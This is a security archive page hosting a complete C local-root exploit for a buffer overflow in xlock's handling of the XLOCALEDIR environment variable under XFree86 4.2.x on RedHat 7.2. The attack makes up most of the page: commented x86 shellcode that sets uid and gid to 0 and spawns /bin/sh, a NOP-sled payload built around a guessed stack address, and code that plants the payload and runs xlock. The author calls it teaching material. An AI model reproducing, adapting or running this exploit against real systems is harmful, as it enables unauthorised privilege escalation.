exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xlock-XLOCALEDIR.c

xlock-XLOCALEDIR.c
Posted Apr 5, 2003
Authored by Omega

Local root exploit utilizing the overflow in XLOCALEDIR under XFree86 Version 4.2.x using xlock. Written to work on Redhat 7.2.

tags | exploit, overflow, local, root
systems | linux, redhat
SHA-256 | 4f06feb2008a323c9ee1ec5fc10c12fb0db7abdec79524c84490367295d8d227

xlock-XLOCALEDIR.c

Change Mirror Download
/*  xlock local root exploit for XFree 4.2.0, RedHat 7.2, 
* maybe others, based on overflowing XLOCALEDIR,
* by omega of the S.T.A.R. team.
* This is a re-make of the original work for Slackware 8.1
* by dcryptr && tarranta / oC.
*/
/* Greetz go to: dcryptr && tarranta, dethy -at- synnergy.net,
* mirapoint, ^sq, irian, Fooy :-).
*/
/* Oh, and yes, xlock probably isn't +s on your system, so this
* is mostly a teaching material ;-)
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define OFFSET 0 /* varies, use 0 as default */
#define nop 0x90 /* NOP on x86 is 0x90 */
#define BSIZE 5100 /* size of our buffer */

/* thanks to dcryptr && tarranta, for noting that
the first setuid(0) gets ignored for some mysterious
reason and also for providing this shellcode. */
static char shellcode[] =
/* setuid(0); - ignored. */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */

/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */

/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */

/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */

/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80";/* int $0x80 */

/* thanks to dethy for his tutorial on overflows
* - this is essentially based on that.
*/
int main(int argc, char **argv) {
char *buffer, *ptr;
int *address_ptr, *address;
int i, offset = OFFSET, bsize = BSIZE;

/* you can use this offset to search for a better place to jump to. */
if(argc > 1) offset = atoi(argv[1]);
else offset = 0;
fprintf(stderr, "Offset: %d\n", offset);

/* create space for our buffer */
buffer = malloc(bsize);

/* use the force, read the source :-), determine %esp for xlock. */
(char *)address = (0xbffff010 + sizeof(int) * offset);
fprintf(stderr, "Return address: %#x\n" ,address);

ptr = buffer;
address_ptr = (int *)ptr;

/* fill buffer with the in-buffer address to jump to. */
for(i = 0; i < bsize; i += 4) (int *)*(address_ptr++) = address;

/* now we fill the first third - this can be adjusted - of the buffer with nop's,
remembering to leave space for the remaining shellcode to be added. */
for(i = 0; i < bsize / 3; i++) buffer[i] = nop;

/* fill the buffer with the shellcode centered around the border between the
first and second third of the buffer. */
ptr = buffer + ((bsize / 3) - (strlen(shellcode) / 2));
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

/* don't forget to end with the dreaded null byte or the processor won't determine
the end of our code. */
buffer[bsize - 1] = '\0';

/* in this case our bof is a user specified environment variable of fixed length,
so we set our buffer "$XLOCALEDIR" and that should overflow the programs buffer */

setenv("XLOCALEDIR", buffer, 1);

/* xlock uses the above variable for it's environment, so we'll try to exploit it. */
execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close